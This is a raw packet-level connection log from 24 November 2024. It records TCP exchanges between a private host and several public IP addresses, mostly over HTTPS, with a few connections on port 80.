Nov 24, 2024 04:23:20.294445992 CET	49848	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:20.294533014 CET	49848	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:20.294580936 CET	49848	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:20.294580936 CET	49848	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:20.294627905 CET	443	49848	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:20.294657946 CET	443	49848	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:20.297384024 CET	49854	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:20.297432899 CET	443	49854	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:20.297523022 CET	49854	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:20.297638893 CET	49854	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:20.297650099 CET	443	49854	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:20.304804087 CET	443	49850	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:20.305179119 CET	49850	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:20.305221081 CET	443	49850	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:20.305619001 CET	49850	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:20.305639029 CET	443	49850	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:20.583620071 CET	443	49851	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:20.584256887 CET	49851	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:20.584296942 CET	443	49851	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:20.584697962 CET	49851	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:20.584705114 CET	443	49851	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:20.729475975 CET	443	49849	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:20.729597092 CET	443	49849	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:20.729667902 CET	49849	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:20.729765892 CET	49849	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:20.729815006 CET	443	49849	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:20.729846954 CET	49849	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:20.729862928 CET	443	49849	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:20.732662916 CET	49855	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:20.732777119 CET	443	49855	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:20.732877016 CET	49855	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:20.733020067 CET	49855	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:20.733041048 CET	443	49855	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:20.753551960 CET	443	49850	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:20.756388903 CET	443	49850	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:20.756467104 CET	49850	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:20.756498098 CET	443	49850	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:20.756563902 CET	49850	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:20.756624937 CET	49850	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:20.756624937 CET	49850	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:20.756666899 CET	443	49850	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:20.756695986 CET	443	49850	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:20.758847952 CET	49856	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:20.758877993 CET	443	49856	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:20.758959055 CET	49856	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:20.759088993 CET	49856	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:20.759111881 CET	443	49856	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:20.991950035 CET	80	49852	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:20.992008924 CET	49852	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:21.111896038 CET	443	49851	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:21.111995935 CET	443	49851	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:21.112068892 CET	49851	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:21.112241983 CET	49851	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:21.112293005 CET	443	49851	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:21.112324953 CET	49851	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:21.112340927 CET	443	49851	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:21.114860058 CET	49857	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:21.114905119 CET	443	49857	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:21.114993095 CET	49857	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:21.115122080 CET	49857	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:21.115134954 CET	443	49857	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:21.903204918 CET	443	49853	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:21.903837919 CET	49853	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:21.903906107 CET	443	49853	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:21.904299021 CET	49853	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:21.904314041 CET	443	49853	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:22.081041098 CET	443	49854	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:22.085055113 CET	49854	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:22.085093975 CET	443	49854	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:22.089054108 CET	49854	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:22.089060068 CET	443	49854	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:22.290673018 CET	443	49855	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:22.295169115 CET	49855	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:22.295200109 CET	443	49855	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:22.295633078 CET	49855	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:22.295644045 CET	443	49855	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:22.337435961 CET	443	49853	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:22.340559006 CET	443	49853	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:22.340656042 CET	49853	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:22.351336956 CET	49853	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:22.351336956 CET	49853	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:22.351389885 CET	443	49853	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:22.351421118 CET	443	49853	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:22.374056101 CET	49858	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:22.374119043 CET	443	49858	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:22.374187946 CET	49858	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:22.374423027 CET	49858	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:22.374456882 CET	443	49858	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:22.524061918 CET	443	49854	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:22.527175903 CET	443	49854	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:22.527280092 CET	49854	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:22.527316093 CET	49854	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:22.527333975 CET	443	49854	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:22.527347088 CET	49854	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:22.527352095 CET	443	49854	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:22.530124903 CET	49859	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:22.530150890 CET	443	49859	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:22.530215979 CET	49859	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:22.530345917 CET	49859	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:22.530356884 CET	443	49859	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:22.607851028 CET	443	49856	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:22.608460903 CET	49856	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:22.608506918 CET	443	49856	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:22.608921051 CET	49856	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:22.608933926 CET	443	49856	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:22.619970083 CET	49852	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:22.620362043 CET	49860	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:22.726974010 CET	443	49855	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:22.730711937 CET	443	49855	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:22.730859041 CET	443	49855	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:22.730933905 CET	49855	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:22.739856958 CET	80	49852	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:22.740022898 CET	80	49860	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:22.740082979 CET	49852	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:22.740135908 CET	49860	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:22.767194986 CET	49855	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:22.767226934 CET	443	49855	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:22.767250061 CET	49855	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:22.767258883 CET	443	49855	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:22.767556906 CET	49860	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:22.770488977 CET	49861	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:22.770545006 CET	443	49861	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:22.770646095 CET	49861	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:22.770812988 CET	49861	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:22.770832062 CET	443	49861	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:22.887054920 CET	80	49860	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:22.968743086 CET	443	49857	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:22.969214916 CET	49857	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:22.969233036 CET	443	49857	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:22.969652891 CET	49857	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:22.969659090 CET	443	49857	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:23.059479952 CET	443	49856	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:23.062951088 CET	443	49856	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:23.063044071 CET	49856	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:23.063122034 CET	49856	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:23.063122034 CET	49856	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:23.063154936 CET	443	49856	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:23.063172102 CET	443	49856	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:23.065682888 CET	49862	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:23.065793037 CET	443	49862	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:23.065898895 CET	49862	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:23.066071033 CET	49862	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:23.066099882 CET	443	49862	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:23.420277119 CET	443	49857	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:23.423286915 CET	443	49857	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:23.423419952 CET	443	49857	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:23.423496962 CET	49857	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:23.423542023 CET	49857	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:23.423542023 CET	49857	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:23.423563004 CET	443	49857	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:23.423573017 CET	443	49857	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:23.426006079 CET	49863	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:23.426062107 CET	443	49863	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:23.426145077 CET	49863	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:23.426256895 CET	49863	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:23.426269054 CET	443	49863	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:24.157946110 CET	443	49858	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:24.158912897 CET	49858	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:24.158963919 CET	443	49858	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:24.159367085 CET	49858	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:24.159373999 CET	443	49858	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:24.172292948 CET	80	49860	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:24.172418118 CET	49860	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:24.381994963 CET	443	49859	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:24.382662058 CET	49859	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:24.382709980 CET	443	49859	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:24.383085966 CET	49859	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:24.383095026 CET	443	49859	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:24.558207989 CET	443	49861	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:24.558608055 CET	49861	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:24.558638096 CET	443	49861	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:24.559056044 CET	49861	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:24.559061050 CET	443	49861	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:24.601809978 CET	443	49858	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:24.601883888 CET	443	49858	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:24.601933002 CET	49858	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:24.604367018 CET	49858	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:24.604398966 CET	443	49858	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:24.604418039 CET	49858	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:24.604425907 CET	443	49858	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:24.607058048 CET	49864	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:24.607160091 CET	443	49864	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:24.607227087 CET	49864	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:24.607372046 CET	49864	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:24.607395887 CET	443	49864	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:24.832772970 CET	443	49859	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:24.835397959 CET	443	49859	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:24.835455894 CET	49859	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:24.835675955 CET	49859	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:24.835700035 CET	443	49859	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:24.835711956 CET	49859	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:24.835719109 CET	443	49859	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:24.840877056 CET	49865	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:24.840992928 CET	443	49865	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:24.841058969 CET	49865	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:24.841404915 CET	49865	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:24.841439009 CET	443	49865	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:24.862041950 CET	443	49862	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:24.864821911 CET	49862	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:24.864888906 CET	443	49862	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:24.868294001 CET	49862	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:24.868309975 CET	443	49862	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:25.144526005 CET	443	49863	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:25.145261049 CET	49863	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:25.145318985 CET	443	49863	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:25.145853996 CET	49863	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:25.145864964 CET	443	49863	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:25.153851986 CET	443	49861	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:25.156640053 CET	443	49861	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:25.156724930 CET	49861	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:25.156779051 CET	49861	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:25.156779051 CET	49861	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:25.156811953 CET	443	49861	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:25.156838894 CET	443	49861	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:25.162010908 CET	49866	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:25.162105083 CET	443	49866	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:25.162246943 CET	49866	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:25.162358999 CET	49866	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:25.162378073 CET	443	49866	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:25.304313898 CET	443	49862	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:25.309020042 CET	443	49862	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:25.309108973 CET	49862	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:25.309227943 CET	49862	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:25.309273958 CET	443	49862	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:25.309303999 CET	49862	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:25.309319973 CET	443	49862	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:25.312002897 CET	49867	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:25.312064886 CET	443	49867	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:25.312139988 CET	49867	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:25.312267065 CET	49867	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:25.312284946 CET	443	49867	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:25.578886986 CET	443	49863	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:25.581809044 CET	443	49863	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:25.582802057 CET	49863	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:25.582860947 CET	49863	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:25.582860947 CET	49863	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:25.582886934 CET	443	49863	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:25.582902908 CET	443	49863	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:25.585357904 CET	49868	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:25.585470915 CET	443	49868	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:25.585592031 CET	49868	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:25.585752964 CET	49868	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:25.585783005 CET	443	49868	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:25.682451963 CET	49860	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:25.682770967 CET	49869	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:25.802424908 CET	80	49860	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:25.802489996 CET	80	49869	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:25.802506924 CET	49860	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:25.802608967 CET	49869	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:25.802851915 CET	49869	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:25.922261953 CET	80	49869	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:26.473283052 CET	443	49864	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:26.473711967 CET	49864	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:26.473752975 CET	443	49864	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:26.474109888 CET	49864	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:26.474119902 CET	443	49864	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:26.741215944 CET	443	49865	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:26.741794109 CET	49865	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:26.741837025 CET	443	49865	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:26.742228985 CET	49865	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:26.742234945 CET	443	49865	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:26.884012938 CET	443	49866	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:26.884565115 CET	49866	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:26.884629011 CET	443	49866	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:26.885042906 CET	49866	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:26.885054111 CET	443	49866	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:26.925868034 CET	443	49864	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:26.929267883 CET	443	49864	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:26.929341078 CET	49864	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:26.929419994 CET	49864	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:26.929461956 CET	443	49864	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:26.929490089 CET	49864	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:26.929503918 CET	443	49864	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:26.931993008 CET	49870	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:26.932054043 CET	443	49870	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:26.932137012 CET	49870	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:26.932281017 CET	49870	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:26.932300091 CET	443	49870	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:27.035765886 CET	443	49867	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:27.037767887 CET	49867	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:27.037801981 CET	443	49867	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:27.038194895 CET	49867	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:27.038199902 CET	443	49867	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:27.196057081 CET	443	49865	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:27.196854115 CET	80	49869	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:27.197078943 CET	49869	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:27.199167967 CET	443	49865	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:27.199258089 CET	49865	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:27.199618101 CET	49865	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:27.199642897 CET	443	49865	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:27.199655056 CET	49865	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:27.199661016 CET	443	49865	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:27.203939915 CET	49871	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:27.203982115 CET	443	49871	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:27.204046965 CET	49871	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:27.204308987 CET	49871	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:27.204319954 CET	443	49871	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:27.205123901 CET	49872	80	192.168.2.5	31.41.244.11
Nov 24, 2024 04:23:27.317210913 CET	443	49866	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:27.320991993 CET	443	49866	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:27.321116924 CET	443	49866	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:27.321165085 CET	49866	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:27.321165085 CET	49866	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:27.321275949 CET	49866	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:27.321275949 CET	49866	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:27.321321964 CET	443	49866	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:27.321350098 CET	443	49866	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:27.324552059 CET	49873	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:27.324619055 CET	443	49873	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:27.324632883 CET	80	49872	31.41.244.11	192.168.2.5
Nov 24, 2024 04:23:27.324703932 CET	49873	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:27.324745893 CET	49872	80	192.168.2.5	31.41.244.11
Nov 24, 2024 04:23:27.324815035 CET	49873	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:27.324832916 CET	443	49873	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:27.324986935 CET	49872	80	192.168.2.5	31.41.244.11
Nov 24, 2024 04:23:27.386248112 CET	443	49868	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:27.386717081 CET	49868	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:27.386779070 CET	443	49868	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:27.387152910 CET	49868	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:27.387171030 CET	443	49868	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:27.444386959 CET	80	49872	31.41.244.11	192.168.2.5
Nov 24, 2024 04:23:27.528834105 CET	443	49867	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:27.531830072 CET	443	49867	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:27.531923056 CET	49867	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:27.532593966 CET	49867	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:27.532593966 CET	49867	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:27.532646894 CET	443	49867	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:27.532675028 CET	443	49867	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:27.535059929 CET	49874	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:27.535114050 CET	443	49874	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:27.535185099 CET	49874	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:27.535310030 CET	49874	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:27.535346031 CET	443	49874	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:27.827570915 CET	443	49868	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:27.831377983 CET	443	49868	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:27.831459045 CET	49868	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:27.877365112 CET	49868	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:27.877366066 CET	49868	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:27.877449036 CET	443	49868	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:27.877476931 CET	443	49868	13.107.246.63	192.168.2.5
